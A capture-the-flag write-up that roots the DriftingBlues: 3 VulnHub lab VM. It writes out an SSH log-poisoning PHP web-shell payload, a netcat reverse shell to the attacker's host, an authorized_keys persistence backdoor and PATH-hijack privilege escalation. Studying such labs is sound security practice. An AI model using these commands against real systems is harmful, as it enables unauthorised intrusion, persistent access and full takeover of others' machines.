# DriftingBlues: 3 BOOT2ROOT CTF VULNHUB WRITEUP

Hey everyone, welcome back! We're diving into the third installment of the *DriftingBlues* series from VulnHub. In this write-up, I'll walk you through the complete, step-by-step breakdown of how I approached, exploited, and ultimately rooted the target machine.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FOvYhBwp2dtiNNoEBREu0%2F0bb28a56e86c3a8e575c893e1893e115.gif?alt=media&#x26;token=5a3af0ba-9868-44f9-8635-538d51f0a3fb" alt=""><figcaption></figcaption></figure>

The first step, as always, is to run an `Nmap` scan to identify potential entry points into the target system.

`nmap -A -sC -p- -T5 -oN nmap_result.log 192.168.137.102`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FXH86889bZbAbrlrixf7P%2FScreenshot%20(1533).png?alt=media&#x26;token=39ef924a-5b67-4434-b45f-cf593a40e3e6" alt=""><figcaption><p>ssh and http are open</p></figcaption></figure>

If you look closely at the Nmap scan results, you'll see that the `robots.txt` file disallows access to `/eventadmins`. Before we explore that hidden path, let’s first check out the main webpage to see what it reveals.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FK0uG1aLobSNoYEsxW5ZE%2FScreenshot%20(1536).png?alt=media&#x26;token=937b058c-6956-4897-ba12-7ca44db89153" alt=""><figcaption><p>This is the main webpage</p></figcaption></figure>

And this is the `/eventadmins`.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FZgGfGOvvW8RTBSqhcqdy%2FScreenshot%20(1534).png?alt=media&#x26;token=f709a9d7-5c74-4e8d-a89f-4203695d32a3" alt=""><figcaption></figcaption></figure>

Here's another file we’ve discovered — let’s take a look at `/littlequeenofspades.html` and see what it contains.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fz9vhbaxtaeDEtKgjJQNI%2FScreenshot%20(1538).png?alt=media&#x26;token=7af8801b-1fe5-4bb3-b39f-dfa1c40d79c6" alt=""><figcaption></figcaption></figure>

Nothing's useful, let's check the source code of this HTML file

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FadM5gmVqTUwXO8bvyKB1%2FScreenshot%20(1539).png?alt=media&#x26;token=7d8fac22-ff86-4ba9-9f89-f092e7153ea9" alt=""><figcaption></figcaption></figure>

There you are, there's a Base64 encoded string here.&#x20;

This is the plaintext

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F5d60Ooo90UhhgBeKpqws%2FScreenshot%20(1540).png?alt=media&#x26;token=3faefd5f-af1c-4d9c-acec-aa45cc1b49ac" alt=""><figcaption></figcaption></figure>

Another Base64 encoded string.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F0JV95DfYsff2rFKgWqlM%2FScreenshot%20(1541).png?alt=media&#x26;token=f3d9f5d2-97bd-48d9-b604-25136123daf4" alt=""><figcaption></figcaption></figure>

A PHP file? I’ve got a good feeling about this one — let’s go ahead and check it out.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F2OCEgh5MVjQlMpvevaWp%2FScreenshot%20(1542).png?alt=media&#x26;token=c49876ab-2916-49f8-a744-aa9b98d9bcfc" alt=""><figcaption></figcaption></figure>

Hmm, this is interesting—every time I refresh the page, the log content seems to update in real time. What really stood out to me was the presence of the "ssh auth log". That immediately raised a red flag and made me think this might be vulnerable to **SSH log poisoning**. This kind of behavior suggests that the system is displaying log files directly on the webpage, which can be a serious security flaw. If the logs aren’t properly sanitized before being rendered, it opens up the possibility of injecting malicious payloads that could potentially lead to command execution or other forms of exploitation. Definitely worth digging deeper into this vector.

To test for a possible **SSH log poisoning vulnerability**, I attempted to inject a simple PHP web shell by using it as the SSH **username**. Since the SSH authentication process logs failed login attempts—including the username—into system log files like `/var/log/auth.log`, I crafted the following command

`ssh '<?php system($_GET["command"]); ?>'@192.168.137.102`&#x20;

Even though the login fails, if the log file is later displayed on a web page without proper sanitization, the injected PHP code could be executed by the web server. This would effectively turn the exposed log viewer into a remote command execution point, allowing me to interact with the system via a browser using GET parameters.

This method hinges on two things:

1. The SSH login attempts being logged in plaintext (including the injected username).
2. The web application reading and rendering those logs *without escaping or sanitizing the content*.

If both conditions are met, it becomes a dangerous entry point for remote code execution (RCE).

But... There's a problem, this took me a long time to fix

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FbCIBOGc013JE094F2pRu%2FScreenshot%20(1544).png?alt=media&#x26;token=3fb6210b-9b53-42cc-a5ce-f89a020e34c0" alt=""><figcaption></figcaption></figure>

Unfortunately, the payload was rejected by SSH because it contains invalid characters. I attempted several different escaping techniques to bypass the restriction even putting the payload to a variable, but none of them were successful.

I’ve always believed there’s *always* a way in—so instead of giving up, I stuck with the same overall approach but added a twist. This time, I decided to try it using **Windows PowerShell**. I stored the payload inside a variable, just like I did earlier, and then executed the SSH command from there. I figured there’s a chance that Windows might handle the payload differently and allow it through, unlike on Linux.

Guess what, it worked!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FGNm42zVEBAcKIshDonvT%2FScreenshot%20(1560).png?alt=media&#x26;token=da1a6265-310a-407d-9da3-9ad0ab266c2e" alt=""><figcaption></figcaption></figure>

As you can see here, it's injected!!! Now let's go back to our VM and use our webshell!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F9mGMdZBxdWrdrYsa6DaS%2FScreenshot%20(1561).png?alt=media&#x26;token=d92b2f1a-426c-4a27-9548-a615c952ac77" alt=""><figcaption></figcaption></figure>

And there it is—any command we pass through the `command` parameter is now successfully executed!

Let’s see if `Netcat` is available on the system—if it is, we can quickly set up a reverse shell and gain remote access in no time.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FOU7SjDA6Et0kVr8drWB1%2FScreenshot%20(1573).png?alt=media&#x26;token=a3df33e5-967d-47af-b2e3-bf04f7dd32e6" alt=""><figcaption></figcaption></figure>

And there is!! Time for reverse shell!

Let's setup our listener first

`nc -lnvp 1234`&#x20;

And in our webshell, execute this command

`nc 192.168.137.246 1234 -e /bin/bash`&#x20;

And here's the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FGoTLwVpVOpo8UkIvog5o%2FScreenshot%20(1574).png?alt=media&#x26;token=171b85d9-e783-45f9-ba99-d61859e10035" alt=""><figcaption></figcaption></figure>

There it is—we’ve got a shell! To make our access more stable and interactive, we’ll upgrade it using Python’s `pty` module.

`python3 -c 'import pty; pty.spawn("/bin/bash")'`&#x20;

and use xterm as TERM env

`export TERM=xterm`&#x20;

Upon exploring, there's one user in this machine named `robertj` .&#x20;

These are the files that `robertj` contains

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FbzeKrBE8Di45zv2bxgN9%2FScreenshot%20(1578).png?alt=media&#x26;token=6b14f62d-5afd-4ca4-a2f9-335051e874ea" alt=""><figcaption></figcaption></figure>

As expected, only the user robertj has permission to access the `user.txt` file. However, I noticed a `.ssh` directory—could there be a private key inside, similar to what we found in *DriftingBlues: 2*? Let’s investigate and find out.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FNMclF0R1GrnBFXI8I8uW%2FScreenshot%20(1579).png?alt=media&#x26;token=59789297-5dc8-4772-88aa-e88e1db4d2cd" alt=""><figcaption></figcaption></figure>

Sadly, there's no files here.

Seeing that there's a `.ssh` directory present, I figured I could leverage it to gain persistent access. My plan was to create an `authorized_keys` file inside that directory and add my own public key to it.

To do this, I generated an SSH key pair on my attacker machine using `ssh-keygen`. Once the key pair was created, I copied the **public key** and placed it inside the `authorized_keys` file on the target, under `~robertj/.ssh/authorized_keys`.

By doing this, I essentially authorized my attacker machine to log in as **robertj** without needing their password. I could then use my **private key** to SSH into the machine as that user—securely and without triggering password-based authentication. This is a classic persistence and privilege move when `.ssh` write access is available.

After generating the key pair, I navigated to my `.ssh` directory and found two files: `id_rsa` and `id_rsa.pub`. The one with the `.pub` extension is the **public key**—that’s the one we’ll be using for this step.

Once the public key is copied, we’ll create an `authorized_keys` file on the target machine and paste our public key into it.

`echo 'public_key' > authorized_keys`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FFSYwtrk9weY0HZVaSDKA%2FScreenshot%20(1580).png?alt=media&#x26;token=8ac346dd-8396-44f5-98a6-b6fb62645929" alt=""><figcaption></figcaption></figure>

After that we will login as `robertj` using our private key

`ssh robertj@192.168.137.102 -i id_rsa`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F1Ww248N9DYLKzFiz3Y1P%2FScreenshot%20(1585).png?alt=media&#x26;token=e5e2dc98-ca37-437a-a728-1a72fc23c17d" alt=""><figcaption><p>We're now robertj</p></figcaption></figure>

It works!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FfyhMWscLQ5AzklPgmk27%2FScreenshot%20(1588).png?alt=media&#x26;token=918cda0a-df07-400a-8f90-cf9a2b359bea" alt=""><figcaption><p>First flag!!</p></figcaption></figure>

Now, it's time to get into root. The first thing I did is to use sudo -l to see if there's a tool or command that robertj can execute without elevated privileges.

But...

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FVQ1Ud0WosgoSNcx5KVfr%2FScreenshot%20(1590).png?alt=media&#x26;token=2f68da67-cfed-4989-960c-9971570ecaf2" alt=""><figcaption></figcaption></figure>

Unfortunately, the `sudo` command isn’t available on this machine—definitely not ideal. That leaves me with one solid option: running **linPEAS** to perform a thorough privilege escalation scan.

Upon analyzing the results of linPEAS, I noticed something

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F9S2rVP2ovTObrmrvkztr%2FScreenshot%20(1598).png?alt=media&#x26;token=0777f4ee-b823-4966-8c4c-db36cd484536" alt=""><figcaption></figcaption></figure>

I came across a command called `getinfo` located in `/usr/bin`, and interestingly, it’s owned by root. What’s odd is that `getinfo` isn’t a standard or built-in command in Linux, which makes it immediately suspicious.

So I execute it and this is the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F66gdfoMmY2kv1PvszyEr%2FScreenshot%20(1599).png?alt=media&#x26;token=97eefa6a-5cd2-4759-a97a-5958186d4bd8" alt=""><figcaption></figcaption></figure>

Did you notice something unusual? The commands used by this tool appear to be automated. For instance, the “IP address” output seems to be retrieved using the standard Linux `ip address` command. The “hosts” section is likely just reading from the `/etc/hosts` file, and the “OS info” is probably pulled using the `uname` command. Everything looks like it’s wrapped in a script that runs common system commands behind the scenes.

Since the tool relies on executing system commands, we can take advantage of that by creating a fake `uname` binary containing a malicious payload to hijack its execution. Here's how to do it: first, navigate to the `/tmp` directory and create a file named `uname` with a simple bash shell payload

`echo '/bin/bash' > uname`

Then, make the file executable by setting its permissions

`chmod 777 uname`&#x20;

Next, we update the `PATH` variable to prioritize `/tmp/` by running

`export PATH=/tmp/:$PATH`&#x20;

This way, when the tool tries to run `uname`, it will execute our fake version in `/tmp/` instead of the real system binary, effectively giving us a shell.

Now let's run `getinfo`  to see if we will turn to root

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FK3wfp1B2NiV4mSrPyrcq%2FScreenshot%20(1608).png?alt=media&#x26;token=2b348ed1-0666-4391-b658-4e290ae97cd8" alt=""><figcaption></figcaption></figure>

It works!!! We're now root!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FJu6NEB222E117luCD5VD%2FScreenshot%20(1611).png?alt=media&#x26;token=043b3b3f-c22d-47cb-82af-b7f0dedbdf8d" alt=""><figcaption><p>Second Flag!</p></figcaption></figure>

We've successfully pwned DriftingBlues: 3
